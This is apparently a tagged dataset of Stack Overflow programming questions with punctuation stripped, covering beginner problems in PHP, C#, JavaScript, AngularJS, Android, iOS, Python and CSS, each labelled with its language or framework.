c# data type on var  var data type take more time to compile (i.e convert in to il ) so why we need var datatype as well as compliler know the particular dattype at runtime(i.e compile time only) so when am using this may program may have chance to reduce the performance.    any one explain this concept with example and compile time duration please.....,.net
get totals of an array in a loop  trying to find total vacancy days in investment properties...    i m getting info from mysql putting it into a looped array to find the difference between dates in different rows.    i am able to return the difference between each  move out  and  move in  dates  but am unable to get a running total. the code below returns this...    difference between 2014-01-25 and 2014-01-27 on property# 7 = 2    difference between 2014-11-03 and 2014-11-23 on property# 7 = 20    <code>   <pre><code>  mysql_select_db($database_rent  $rent);     $query_rs_vac =  select properties.propid  tenants.tenantid  tenants.propertyid       tenants.tenantadress  tenants.movein  tenants.moveout  properties.p_gpno from properties    tenants where tenants.propertyid=properties.propid  and tenants.tenantadress =  7      order by tenants.tenantid  ;     $result = mysql_query($query_rs_vac) or die ( no query );     $result_array = array();           while ($row = mysql_fetch_array($result)) {     $values = array($row[ movein ] $row[ moveout ]  $row[ tenantadress ]);     array_push($result_array $values);     }     $it = 0;     $propid=$values[2];     while($it&lt;count($result_array)){     // if neither begin and end are null      if($result_array[$it][1]!= null &amp; $result_array[$it+1][0]!=null){         $datetime1 = new datetime($result_array[$it][1]);         $datetime2 = new datetime($result_array[$it+1][0]);         $diff = $datetime1-&gt;diff($datetime2);         $days2= $diff-&gt;format( %a );        echo  difference between  .$datetime1-&gt;format( y-m-d ).  and  .$datetime2-&gt;format( y- m-d ).  on property#   . $propid .   =   . $days2 .  &lt;br/&gt; ;    }       $it++;             } </code></pre>   </code>,php
how to place a file in application sand box in iphone  is there any way of placing a file into application  sandbox  i.e into eg:     /var/mobile/applications/30b51836-d2dd-43aa-bcb4-9d4dadfed6a2/documents    of iphone     my application expects a file to be put into /documents folder of application so that it can be uploaded to my local server.    this method should confirm to the rules of apple so that it should not be rejected.,iphone
how to get variable value in array of buttons in android <pre><code>for(i=1;i&lt;=9;i++) {         b[i].setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view view) {                 button_click(i);             }         });     } </code></pre>   here  button_click is a user-defined function to which i want to send the value i(current number of a button) but when i execute it  all button gives value 10 to this function which is the value of i at the end of the loop. so how to solve this problem,android
why do i get this result in python  <pre><code>class a:     def __init__ (self  an_int):         self.g = an_int         self.b = none      def add (self  an_int):         self.g += an_int + 1  class b:     def __init__ (self  an_int):         self.g = an_int         self.a = none      def subtract (self  an_int):         self.g -= an_int-1  a = a(0) b = b(1)  def show (an_a_obj  a_b_obj):     print  %d %d  % (an_a_obj.g  a_b_obj.g) </code></pre>   <strong>now  i do this:</strong>   <pre><code>b.subtract(a.g) show(a b) </code></pre>   what i am getting as a result  is <code>0 2</code>  but i would think it should be:   <pre><code>0 0 </code></pre>   but that s definitely not true. what i don t understand is this part:   <pre><code>def subtract (self  an_int):     self.g -= an_int-1 </code></pre>   so  <code>a.g</code> is being seen as  an_int  and then fetched  but as what  it s not global at all  so how can the interpreter know that <em>a.g</em> must be <strong>0</strong> or doesn t it know at all     and what does <code>self.g -= an_int - 1</code> do     i would expect it s b.g (1) - 0 (a.g) - 1 = 0  but the interpreter says it s -1    could someone help me in the right direction,python
best way to create a console menu c++  so i m making a simple console project using data structures but the thing here i want to know which way will be the best for implementing a console menu  i want to know what is the best practice for it  this is my actual menu   <pre><code>void mainmenu(){   while(1)  {     int opt;      cout &lt;&lt; endl &lt;&lt;  ----------------------------  &lt;&lt; endl;     cout &lt;&lt; endl &lt;&lt;        main menu     &lt;&lt; endl;     cout &lt;&lt; endl &lt;&lt;  ----------------------------  &lt;&lt; endl;      cin &gt;&gt; opt;     cout &lt;&lt;  \n  &lt;&lt; endl;      switch (opt)      {         case 1:             submenu();             break;         case 2:             //code             break;         case 0:             exit(1);         default:             break;     } } </code></pre>   and a submenu example would be this one   <pre><code>void submenu() { bool exit=true; while(exit)  {    int opt;     cout &lt;&lt; endl &lt;&lt;  ----------------------------  &lt;&lt; endl;    cout &lt;&lt; endl &lt;&lt;        submenu     &lt;&lt; endl;    cout &lt;&lt; endl &lt;&lt;  ----------------------------  &lt;&lt; endl;    cin &gt;&gt; opt;       switch (opt)          {           case 1:             //code             break;           case 0:                 exit = false;         }  } </code></pre>   i want to know if this is a good way of implementing a menu or if there s a better way to do it  also i would like to know where can i find books or documentation in order to code in a proper way to make my program not to use a lot of resources from the pc.,c++
making an application run in multiple zones  i am currently revising for exam 70-536. is there a sample of how to configure an application to run in multiple environments  e.g. intranet and internet.    i can t find a good code sample for this. anyone have one,.net
ios develop detect cellphone turn off  is it possible to detect if the user turn off the cellphone while using my app  here i m caring about turning off the cellphone not locking the screen. also this event should be distinguished between press the home button and lock the screen.,ios
how to have actionbar in preferenceactivity   i have an android app with a <code>usersettingsactivity</code> derived from <code>preferenceactivity</code>. when i open this activity  no menu bar is shown.     in order to have the  bar  or  action bar  on top of the settings screen  i searched for it in google on found <a href= https://stackoverflow.com/questions/7928874/actionbar-in-preferenceactivity >this link</a> and <a href= https://stackoverflow.com/questions/26509180/no-actionbar-in-preferenceactivity-after-upgrade-to-support-library-v21 >this link</a>. because the first answer seems outdated  i tried the suggestion in the second link <strong><em>which does not work</em></strong>. therefore i am posting this question again.. here are the pieces of code i am using:     <code>preferences.xml</code> ( i added just the <code>android.support.v7.widget.toolbar</code> part):   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;preferencescreen xmlns:android= http://schemas.android.com/apk/res/android &gt;  &lt;android.support.v7.widget.toolbar     xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      android:id= @+id/toolbar      app:theme= @style/themeoverlay.appcompat.dark.actionbar      android:layout_width= match_parent      android:layout_height= wrap_content      android:minheight=  attr/actionbarsize      app:navigationcontentdescription= @string/abc_action_bar_up_description      android:background=  attr/colorprimary      app:navigationicon=  attr/homeasupindicator      app:title= @string/action_settings      /&gt;      &lt;listpreference         android:title= @string/updateinterval          android:summary= @string/updateintervaltext          android:key= updateinterval          android:defaultvalue= 24          android:entries= @array/listarray          android:entryvalues= @array/listvalues  /&gt;      &lt;listpreference         android:title= @string/limitsetting          android:summary= @string/limitsettingtext          android:key= limitsetting          android:entries= @array/limitarray          android:entryvalues= @array/limitvalues  /&gt;      &lt;preference         android:key= reset          android:title= reset database          android:summary= this will remove every entry in the database           /&gt; &lt;/preferencescreen&gt; </code></pre>   and <code>usersettingsactivity.java</code> (i added the <code>onpostcreate</code> part):   <pre><code>public class usersettingactivity extends preferenceactivity {      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         getfragmentmanager().begintransaction().replace(android.r.id.content  new mypreferencefragment()).commit();      }      @override     protected void onpostcreate(bundle savedinstancestate) {         super.onpostcreate(savedinstancestate);          linearlayout root = (linearlayout)findviewbyid(android.r.id.list).getparent().getparent().getparent();         toolbar bar = (toolbar) layoutinflater.from(this).inflate(r.xml.preferences  root  false);         root.addview(bar  0); // insert at top         bar.setnavigationonclicklistener(new view.onclicklistener() {             @override             public void onclick(view v) {                 finish();             }         });     }      public class mypreferencefragment extends preferencefragment {         @override         public void oncreate(final bundle savedinstancestate) {             super.oncreate(savedinstancestate);             addpreferencesfromresource(r.xml.preferences); // &lt;&lt;-- error here             // doing something here          }     }  } </code></pre>   however  i get the following error:    <pre><code>caused by: java.lang.classcastexception: android.support.v7.widget.toolbar cannot be cast to android.preference.preference </code></pre>   on the marked line. without the added pieces in those two files the app did work  without the (action)-bar  however...    what seems to be the problem here,android
convert string to an object based on type <pre><code>type type1 = type.gettype( system.int32 ); string test =  test ; </code></pre>   please let me know how  to convert the test to an object based on type1 object. and it should fail or return null as the given string cannot be converted to int.    this for validation purpose.,c#
why custom event handler raising two times in asp.net   i have created a custom event and assigned a handler to it .     the line which raises event is called one time but handler is getting called     two times   why it is so       please help,asp.net
does implementation-definedness of char affect std::string   i thought all types were signed unless otherwise specified (like <code>int</code>). i was surprised to find that for <code>char</code> it s actually implementation-defined:   <blockquote>    ... it is implementation-defined whether a char object can hold   negative values. ... in any particular implementation  a plain <code>char</code>   object can take on either the same values as a <code>signed char</code> or an   <code>unsigned char</code>; which one is implementation-defined.  </blockquote>   however <code>std::string</code> is really just <code>std::basic_string&lt;char  ...&gt;</code>.     can the semantics of this program change from implementation    <pre><code>#include &lt;string&gt;  int main() {     char c = -1;     std::string s{1  c}; } </code></pre>,c++
php split array on last occurence of specific word before delimiter  i have array like this:   <pre><code>$array =  this is; some text delimiter; and brackets {here} some; sometext; text; again brackets {title} are here ; </code></pre>   and i need to split it on last occurence of  ;  before  {  and than on  } . like this:   <pre><code>array(   [0] =&gt; this is; some text delimiter;   [1] =&gt; and brackets {here}   [2] =&gt; some; sometext; text;   [3] =&gt; again brackets {title}   [4] =&gt; are here ) </code></pre>   can anybody suggest me how could i do this,php
c# object instantiation question  i would appreciate some help refactoring my code. if i pass an instance of an object to another object instance is there any way to reinstantiate that instance without losing the reference     here is a simplified version of the problem i have:   <pre><code>    public class program {     static void main(string[] args)     {         animal mypet = new cat();         house myhouse = new house(mypet);         house petdaycare = new house(mypet);          console.writeline(string.format( my pet has {0} flea(s)   mypet.fleas.tostring()));         myhouse.addflea();         console.writeline(string.format( my pet has {0} flea(s)   mypet.fleas.tostring()));         petdaycare.addflea();         console.writeline(string.format( my pet has {0} flea(s)   mypet.fleas.tostring()));         myhouse.getnewpet();         console.writeline(string.format( my pet has {0} flea(s)   mypet.fleas.tostring()));          console.readline();     } }  public class house {     animal _currentpet;      public house(animal currentpet) {         _currentpet = currentpet;     }      public animal currentpet {         get { return _currentpet; }         set { _currentpet = value; }     }      public void addflea() {         _currentpet.fleas += 1;     }      public void getnewpet() {         animal rover = new dog();         rover.fleas = 100;         _currentpet = rover;     }  }  public abstract class animal {      int _fleas;      public int fleas {         get { return _fleas; }         set { _fleas = value; }     }      public abstract string getsound();  }  public class cat : animal {     public override string getsound() {         return  meow ;     } }  public class dog : animal {     public override string getsound()     {         return  woof ;     } } </code></pre>   can mypet.fleas = 100 in program after calling getnewpet()     if i want to change the underlying type of object instance can i do that  if not  does anyone have any refactoring suggestions     i will try and describe the details of the actual program structure.    i am creating a wpf wizard.    that wizard has steps.    when i start the wizard an instance of the wizardviewmodel class is created.    wizardviewmodel class has an instance of objectx (an object whoes properties i want to modify and then return the object when the wizard is complete).    each step in the wizard is an instance of the wizardpageviewmodelbase class which is passed an instance of objectx in the constructor.    wizardviewmodel has a list of wizardpageviewmodelbase objects (one object instance for each wizard step).    so as long as i am only changing the properties of the objectx instance in each wizard step (wizardpageviewmodelbase object instance) then the object that is returned by wizardviewmodel works fine.    however in step 1 of the wizard i want to change the underlying type of objectx depending on what the user selects from a listbox. if i change the instance (as i do in getnewpet() above) the reference to the objectx instance in wizardviewmodel is lost.    apologies if this makes no sense  i tried my best to structure the question in a way that can be answered...,c#
pushed data is not refelcting in a table using angular  the pushed data from the model is not reflecting in the first table. it is there in console. the fiddle link is attached with this please help me on this.<br> fiddle link   ----  <a href= http://jsfiddle.net/8mvlj/2649/  rel= nofollow noreferrer >http://jsfiddle.net/8mvlj/2649/</a>   <pre><code>html=========  &lt;script src= https://code.angularjs.org/1.4.9/angular.min.js &gt;&lt;/script&gt; &lt;script src= https://rawgit.com/dwmkerr/angular-modal-service/master/dst/angular-modal-service.js &gt;&lt;/script&gt;  &lt;div class= container  ng-app= app  ng-controller= controller &gt;   &lt;div class= row &gt;     &lt;div class= col-xs-12 &gt;       &lt;table class= table table-striped table-bordered &gt;         &lt;thead&gt;           &lt;th&gt;attribute name&lt;/th&gt;           &lt;th&gt;attribute value&lt;/th&gt;         &lt;/thead&gt;         &lt;tbody&gt;           &lt;tr ng-repeat= newdetail in newdetails &gt;             &lt;td&gt;               &lt;p ng-model= detail &gt;{{newdetail.attrname}} &lt;/p&gt;             &lt;/td&gt;             &lt;td&gt;               &lt;p ng-model= detailvalue &gt;{{newdetail.userattrvalue}} &lt;/p&gt;             &lt;/td&gt;           &lt;/tr&gt;         &lt;/tbody&gt;       &lt;/table&gt;       &lt;a class= btn btn-default  href ng-click= show() &gt;select attribute&lt;/a&gt;        &lt;script type= text/ng-template  id= modal.html &gt;         &lt;div class=  ngdialog-messsage modal fade &gt;           &lt;div class= modal-dialog &gt;             &lt;div class= modal-content &gt;               &lt;div class= modal-header &gt;                 &lt;button type= button  class= close  ng-click= close( cancel )  data-dismiss= modal  aria-hidden= true &gt;&amp;times;&lt;/button&gt;               &lt;/div&gt;               &lt;div class= modal-body &gt;                 &lt;div class= row &gt;                   &lt;div class= col-xs-12 &gt;                     &lt;table class= table table-striped table-bordered &gt;                       &lt;thead&gt;                         &lt;th&gt;                           &lt;input type= checkbox  ng-model= allselected  ng-model-options= {gettersetter: true} &gt;                         &lt;/th&gt;                         &lt;th&gt;attribute name&lt;/th&gt;                         &lt;th&gt;attribute value&lt;/th&gt;                       &lt;/thead&gt;                       &lt;tbody&gt;                         &lt;tr ng-repeat= detail in details &gt;                           &lt;td&gt;                             &lt;input type= checkbox  ng-model= detail.selected &gt;                           &lt;/td&gt;                           &lt;td&gt;                             &lt;p ng-model= detail &gt;{{detail.attrname}}&lt;/p&gt;                           &lt;/td&gt;                           &lt;td&gt;                             &lt;select ng-model= detail.user_attr_value  ng-init= detail.user_attr_value=detail.attr_value_ind.split(   )[0]  class= form-control full-width &gt;                               &lt;option ng-repeat= option in detail .attr_value_ind.split(   )  value= {{option}} &gt;{{option}}&lt;/option&gt;                             &lt;/select&gt;                           &lt;/td&gt;                         &lt;/tr&gt;                       &lt;/tbody&gt;                     &lt;/table&gt;                   &lt;/div&gt;                 &lt;/div&gt;               &lt;/div&gt;               &lt;div class= modal-footer &gt;                 &lt;div class= form-group &gt;                   &lt;input type= button  class= btn btn-primary  value= add selected  ng-click= add();close( cancel ) &gt;                   &lt;input type= button  class= btn btn-danger   ng-click= checkall(details.length)  value= clear &gt;                 &lt;/div&gt;               &lt;/div&gt;             &lt;/div&gt;           &lt;/div&gt;         &lt;/div&gt;       &lt;/script&gt;      &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;  js===================   var app = angular.module( app   [ angularmodalservice ]);  app.controller( controller   function($scope  $element  modalservice) {   $scope.newdetails = [{       attrname :  usertype         userattrvalue :  customer        userorgroupid :  aaaazzz8522      }];    $scope.add = function() {     angular.foreach($scope.details  function(detail) {       if (detail.selected == true) {          $scope.newdetails.push({             attrname : detail.attrname             attrname : detail.user_attr_value         });         $element.modal( hide );       close($scope.newdetails  500);       console.log( loop   $scope.newdetails);             }     });    };    $scope.show = function() {     modalservice.showmodal({       templateurl:  modal.html         controller:  controller      }).then(function(modal) {       modal.element.modal();       modal.close.then(function(result) {});     });   };     //=================================================   $scope.close = function(result) {     close(result  600);   };   $scope.details = [{       attrname :  region        attrtype :  user        attr_value_ind :  chn-n chn-s chn-c        buid :  default      }];   var getallselected = function() {     var selecteddetails = $scope.details.filter(function(detail) {       return detail.selected;     });      return selecteddetails.length === $scope.details.length;   }    var setallselected = function(value) {     angular.foreach($scope.details  function(detail) {       detail.selected = value;     });   }    $scope.allselected = function(value) {     if (value !== undefined) {       return setallselected(value);     } else {       return getallselected();     }   }   $scope.checkall = function(count) {     angular.foreach($scope.details  function(details) {        details.selected = false;     });    };   }); </code></pre>,angularjs
pausing main thread until event is fired  i have a small console utility that utilizes a custom parsing library (not modifiable by me) to parse some files. as the parser does its job  it raises <code>statuschanged</code> events. in my <code>main</code> function  i attached a handler to this event so i can perform some tasks when the event is fired.   <pre><code>parser.statuschanged += onstatuschanged; </code></pre>   however  i m running into a problem because the <code>main</code> thread doesn t wait to exit until the event is fired. how do i allow the <code>main</code> thread to terminate only based on some execution in the <code>onstatuschanged</code> handler  this handler may be called whenever the status changes  but i want the program to exit only when the status reaches <code>done</code>.    currently  instead of waiting for the event to fire  i have a loop in <code>main</code> that loops (and does nothing) until the parser reaches a status of <code>done</code>  but this seems like the wrong approach. further  when running in release mode  it looks like this loop never terminates for some reason. it works fine in debug mode.   <pre><code>while (parser.status != parserstatus.done) { }; </code></pre>,c#
how to push <divs> together  vertically   i ve been looking for a solution for this  for a long time now. how can i vertically push divs together (see attached image).    it s been suggested to use specific css coding  but that is no good in this case as the div height is not set - it changes depending on the content being loaded.    <img src= https://i.stack.imgur.com/iomkn.jpg  alt= push divs together vertically >    ------------------added information ------------------    as requested  this is the code the populates the divs using content from a database. the divs simply need to be pushed up as shown in the attached image.   <pre><code>&lt; php   require_once( ../scripts/include.php ); $who = 65; //temp value to be deleted              $result = mysql_query(              select               tbl_status.id as statid               tbl_status.from_user as statfrom               tbl_status.status as statstatus               tbl_status.deleted as statdel               tbl_status.date as statdate               tbl_users.id as usrid               tbl_users.name as usrname              tbl_users.location as usrlocation               tbl_photos.profile as photosprofile              tbl_photos.photo_link as photolink              tbl_photos.default_photo as photodefault               from tbl_status              left join tbl_users on tbl_status.from_user = tbl_users.id              left join tbl_photos on tbl_photos.profile = tbl_users.id              where tbl_status.deleted =  0  and tbl_photos.default_photo is null or tbl_photos.default_photo =  1              order by tbl_status.date desc             limit 24               );                  while($row = mysql_fetch_array($result))                   {                                $sampletext = $row[ statstatus ];                     $pattern =  /#[a-za-z0-9]*/ ;                     $replacement =  &lt;a href= ../search/term.php $0  class= hashsearch &gt;$0&lt;/a&gt; ;                     $updatedtext = preg_replace($pattern  $replacement  $sampletext);                      echo                      &lt;div class= statuscont  style= width:150px; &gt;                          &lt;div class= statususr &gt;  . $row[ usrlocation ] .  &lt;/div&gt;                         &lt;div class= statustxt &gt;&lt;p&gt;  . $updatedtext .  &lt;/p&gt;&lt;/div&gt;                         &lt;div class= statbackground  style= background-image:url(../assets/uploads/resized_  . $row[ photolink ] . );                         background-repeat:no-repeat; background-size:100%;width:150px; height:50px; opacity:1; &gt;&lt;/div&gt;                      &lt;/div&gt;&lt;!-- ends .statuscont --&gt;                      ;}       &gt; </code></pre>,html
mapview in main view and flipside view  i have created a mapview in the main view and want to use the same mapview in the flipside view but only expanded in size.  the code draws the mapview in the flipside using the global map instead of the constrained map in the main view.    any suggestions     i have tried duplicating the mapping code in the flipside view but the flipside view stops working and freezes the program. one would think that with separate h and m files for the flipside view that the maps would be separate.  i even tried copying the mapview from the main view to the flipside view with no luck.    8 hours of frustration,iphone
jquery : manipulate width and height of an img tag  how do i change the height and width of an image in and unordered list with jquery   <pre><code>&lt;ul id= files &gt;    &lt;li&gt;&lt;img src= 1.png  /&gt;&lt;/li&gt;    &lt;li&gt;&lt;img src= 2.png  /&gt;&lt;/li&gt;    &lt;li&gt;&lt;img src= 3.png  /&gt;/li&gt; &lt;/ul&gt; </code></pre>   my css :   <pre><code>ul#files li img { width: 100px; height:100px; } </code></pre>   i ve tried this :   <pre><code>$( ul &gt; li &gt; img ).width( 300 ); $( ul &gt; li &gt; img ).height( 300 ); </code></pre>,jquery
why if($tech[0] ==  html ) is not working in the following code and the echo output is not generated  in the following code  if condition is not working   when i am echoing the code as $tech[0] it is giving the output as html  but when i am doing in the mentioned way the if condition is not working.     may i know the reason  as when i am giving the code as      <code>&lt; php if(1) { echo  hey ; }  &gt;</code> then the output is generated as hey.     code is as follows:   <pre><code>    &lt; php     include( connection.php );     //$row=array();     if(isset($_get[ id ]) &amp;&amp; !empty($_get[ id ]) &amp;&amp; $_get[ action ]==  edit ){     $fetch = select * from students where id= .$_get[ id ];     $selectrow =mysqli_query($conn $fetch);     $row =mysqli_fetch_array($selectrow);      $tech = explode(    $row[ technologies_known ]) ;      if($tech[0] ==  html )     {     echo  hey ;      }      }      &gt; </code></pre>,php
how to hide contact details of seller only for specific 12 hour period from 9am to 9pm  i have created a page where buyer can contact seller   <pre><code> &lt;span&gt; seller contact number &lt;/span&gt;: &lt; php echo $this-&gt;proddet-&gt;mobile;  &gt; </code></pre>   however - also want to restrict in that the contact number of seller can not be shown from 9pm to 9am for 12 hours    unable to get in how to implement the code using php using time zone as per ist pls advise how to perform the same,php
aligning div tags side by side  so  this is a stupid question  but i cannot for the life of me get this to work.    i have a div tag with a div class that has a set size inside of it  and want to keep it all on one line horizontally. right now  the first image appears above the inner div tag and the second image. i ve tried adding float: left; and that seems to send the whole page haywire.    <strong>css</strong>   <pre><code>#arrows {     align: middle;     width: auto;     float: inherit;     display: inline-block;     height: 500px;     overflow: hidden;     white-space: nowrap; } .portfolio {     align: middle;     width: 750px;     float: inherit;     display: inline-block; } </code></pre>   <strong>html</strong>   <pre><code>&lt;div id= arrows &gt;     &lt;p&gt;         &lt;img src= ../images/left.jpg  width= 64  height= 105  align= middle  /&gt;         &lt;div class= portfolio &gt;             &lt;img src= ../images/portfolio/borderpatrollogo.jpg  alt= u.s.   border patrol brand identity  width= 564  height= 475  align= middle  /&gt;         &lt;/div&gt;         &lt;img src= ../images/right.jpg  alt= next  width= 64  height= 105  align= middle  /&gt;     &lt;/p&gt; &lt;/div&gt; </code></pre>,css
why does this gives me the value exceeding the termination condition in javascript  <pre class= lang-js prettyprint-override ><code>for (var i=1; i&lt;=5; i++) {   settimeout( function timer(){     console.log( i );   }  i*1000 ); } </code></pre>   even if the function passed to settimeout as an argument doesn t create a new scope  being an entry controlled loop  why does the above code output to 6 &amp; <strong>not 5</strong> for each iteration,javascript
simple oop-php question <pre><code>class photos  { private $photos = array();  function add_photo($filename  $date  $lat  $long)  {   $this-&gt;photos[] = array( filename  =&gt; $filename   date  =&gt; $date                              lat  =&gt; $lat    long  =&gt; $long);   return $this; }     function get_all()     {       return json_encode($this-&gt;photos);    }    } </code></pre>   i m new to object oriented php  so i would like to get some help here. the <code>get_all</code> function returns all my photos. i would like to add a function that returns x numbers of photo-arrays  instead of all of them. but i dont know how to do it. any help is appreciated!,php
proper way of assigning id in javascript  on my page  there are 20 html input elements that have their ids named as idx1  idx2  idx3.....idx20. i am using the following function to iterate through 20 items to get their value. this may not be the optimal way of doing it. obviously  it is throwing <code>uncaught typeerror: cannot read property  value  of null</code> error. the way i am assigning the id is wrong. what is the right way to do it     <pre><code>function chkit(){     var rs =  idx ;     for (c=1; c&lt;21; c++) {         rs += c;         var an = document.getelementbyid(rs).value;         return an;     } } </code></pre>,javascript
what would be an effective way to call a function with arguments from a list in python  my current code is similar to the following.   <pre><code>    def func(args):         optionalparameters = ((args.split( : )[1]).split(   ))[1:]         second_func(optionalparameters) </code></pre>   this assumes <code>args</code> is a colon-separated string; it takes the second half  splits it into space-delimited words and returns (a list of ) all but the first. the situation where more than one colon is included isn t yet handled  because i am new to the language.    can the optional_parameters be passed not as a list  since parameters are optional will the following be effective    <pre><code>    def func(args):         optionalparameters = ((args.split( : )[1]).split(   ))[1:]         val1=val2=val3=none         try:             val1 = optionalparameters[0]         except indexerror:             pass         try:             val2 = optionalparameters[1]         except indexerror:             pass         try:                 val3 = optionalparameters[2]         except indexerror:             pass         second_func(val1  val2  val3) </code></pre>   it seems likely that standard library modules might be able to do much of this. any help in argument handling is highly appreciated.,python
unable to use system.out in java <pre><code>public class main{     public static void main(string[] args){         new world();          system.out.println( helloworld java );     } } </code></pre>   compiling with javac results in this error:   <pre><code>c:\users\ben\documents\github\ecs\src\main.java:5: error: cannot find symbol     system.out.println( helloworld java );           ^ symbol:   variable out location: class system </code></pre>   it s the most puzzling error i ve ever gotten. although i suppose it s important to note that this is my first real programming without the use of an ide.,java
how to break out from foreach loop in javascript  i am newbie in javascrript. i have a variable having following details:   <pre><code>var result = false; [{ a :  1   b : null} { a :  2   b : 5}].foreach(function(call){     console.log(call);     var a = call[ a ];     var b = call[ b ];     if(a == null || b == null){         result = false         break;     } }); </code></pre>   i want to break the loop if there is null value for a key. how can i do it,javascript
how to play only one sound at a time with avaudioplayer  i am playing sound when user tap on the respected button.    i have 10 buttons with 10 audio files.    i am playing the selected sound by using the avaudioplayer   <pre><code>avaudioplayer *myaudio=[[avaudioplayer alloc]initwithcontentsofurl:[nsurl fileurlwithpath:[[nsbundle mainbundle]pathforresource:[sounds objectatindex:button.tag] oftype:@ mp3 ]]error:null]; [myaudio play]; </code></pre>   now i have a problem that if i click another button before completion of playing previous sound then both sounds are mixed and getting noise.    i need to play second sound after completion of first sound.    i mean at a time only one sound will be played.    how can i done can any one please help me.    let me add comment if this question is not understandable.     thank u in advance.,iphone
how do i create a class in javascript  i need a student class in javascript with 2 data members name and age and 2 method get_record() and set_record(name age). how do i do it in javascript and create multiple object of that class.,javascript
creating nested folder in c# shows access denied error  i am trying to create folders in nested manner.   <pre><code>if (file.contentlength &gt; 0 &amp;&amp; file != null) {      string path =  ~/videos/  + session[ username ] +  _  + session[ userid ];      if (!directory.exists(path))      {          directory.createdirectory(path);      }      string filename = path + file.filename;      filepath =  /videos/  + session[ username ] +  _  + session[ userid ];      file.saveas(filename); </code></pre>   if you see here- <code>/videos/</code> folder is what i have currently on disk. where another folder with user s name and id is what i want to create inside this <code>videos</code> folder. how would i be creating this folder inside this folder     because currently it is showing me this error -   <pre><code>access to the path  ~/videos/shaun_2  is denied. </code></pre>   i tried restarting visual studio with administrator s credentials. but it still remains here.,c#
javascript - what does these value-assignment (using |= as an operator) mean   today i have seen these code-snippet:   <pre><code>  /**      * @param src: any variable of any type      * @param html: output format (true|false); default = false      * @param level: (internal  don t use)      *      * @return string: formatted output      */     function showobj(src  html  level) {       level |= 0; </code></pre>   complete script: <a href= https://codereview.stackexchange.com/questions/123283/helper-function-to-format-output-any-type-of-variable >https://codereview.stackexchange.com/questions/123283/helper-function-to-format-output-any-type-of-variable</a>    what is the value-assignment with |= ( in  level |= 0  )      i haven t seen it anywhere before and can t find anything about it.,javascript
do html links with the  #  symbols in them cause page refresh when clicked   seems like a silly question but i can t for the life of me tell. i have just this on a html file:   <pre><code>&lt;a href= # &gt;hello&lt;/a&gt; </code></pre>   when i click it  it appends the hash symbol to the end of the present url and to my naked eyes the page doesn t seem to be reloading.    is this correct or is the page actually reloading,html
how to watch controller scope in directives   am stuck with some basic issues. can any one point me out whats going wrong      my controller is like    <pre><code>angular.module( asapp ).controller( searchctrl   [ $scope    service            function($scope  appservice) {  axisapi.object()      .app(service.app())      .qid( abcd )      .on( create  function(object) {          object.paint();      }).on( paint  function(data){          $scope.$apply(function(){                                 $scope.profileobk = data.profile;                                 $scope.contactobj= data.profile;           })      }).create(); }); </code></pre>   and my directive is    <pre><code>angular.module( app.core ) .directive( contactpage   directivefunction2 ); function directivefunction2 ($scope config service) {  var directive = {     restrict:  e       templateurl:  contacts.html       controller: function($scope){      $scope.newcontacts = undefined;      $scope.$watch( contactobj   function(newval  oldval) {         if (newval==oldval) {             return false;         }         $scope.newcontacts = newval;     }  );  }     link:function (scope  element  attrs) {}   }     return directive; } </code></pre>   my html   <pre><code>&lt;div ng-controller= searchctrl &gt; &lt;/div&gt; &lt;contact-page&gt;&lt;/contact-page&gt; </code></pre>   if the value is updated from on  searchctrl  it should be changed in my directives. how to do that.  searchctrl  is a third party controller.,angularjs
angular with database directily without using php/java  is there any way to connect angular based application  to database directly using some non php / java application   i am hosting a website want this javascript based only.    right now i am using like this example from w3schoole   want pure query based plugin   <pre><code>  app.controller( customersctrl   function($scope  $http) { $http.get( http://www.w3schools.com/angular/customers_sql.aspx ) .success(function (response) {$scope.names = response.records;}); </code></pre>   });,angularjs
displaying the length of individual sequences in file  i have a file that contains two sequences. i have a program that could read all sequences  combine them together  and display the length of both sequences together. now i want to display the length individually.  the two sequences are separated by the symbol <code>&gt;</code>.    example:   <pre><code>seq1 &gt;atgggactagcagt  seq2  &gt;aggatgatgagtga </code></pre>   program:   <pre><code>#!usr/bin/python import re fh=open( clostp1.fa   r ) count=0 content=fh.readlines() fh.close() seq=   patt=re.compile( &gt;(.* ) ) for item in content:     m=patt.match(item)     if not m:         s=item.replace( \n    )         seq=seq+s seq=seq.replace( \s    )        print seq print  the length of the coding sequence of the bacillus   print len(seq) </code></pre>,python
play mp3 from network  i have tried below three solutions but none of them worked. i am sure i am missing some key point but not clear what. (fyi  i am trying out below solutions on iphone device  not on simulator.)    <pre><code>- (ibaction)actionavplayer:(id)sender {  avplayer* player = [[avplayer alloc] initwithurl:[nsurl urlwithstring:urltextfield.text]];  [player play];  }  - (ibaction)actionmemorybuffer1:(id)sender {    nserror *error;   nsdata *_objectdata = [nsdata datawithcontentsofurl:[nsurl urlwithstring:urltextfield.text]];    avaudioplayer* audioplayer = [[avaudioplayer alloc] initwithdata:_objectdata error:&amp;error];   audioplayer.numberofloops = -1;   audioplayer.delegate = self;   audioplayer.volume = 1.0f;   [audioplayer preparetoplay];    if (audioplayer == nil)     nslog(@ %@   [error description]);   else     [audioplayer play]; }   - (ibaction)actionmemorybuffer2:(id)sender {    nsurlrequest* request = [ nsurlrequest requestwithurl: [nsurl urlwithstring:urltextfield.text] ];   nserror *requesterror;   nsurlresponse *urlresponse = nil;    nsdata *_objectdata  = [ nsurlconnection sendsynchronousrequest:request returningresponse: &amp;urlresponse  error: &amp;requesterror];    nserror *error;   avaudioplayer* audioplayer = [[avaudioplayer alloc] initwithdata:_objectdata error:&amp;error];   audioplayer.numberofloops = -1;   audioplayer.delegate = self;   audioplayer.volume = 1.0f;   [audioplayer preparetoplay];    if (audioplayer == nil)     nslog(@ %@   [error description]);   else     [audioplayer play]; } </code></pre>   any help is much appreciated.,iphone
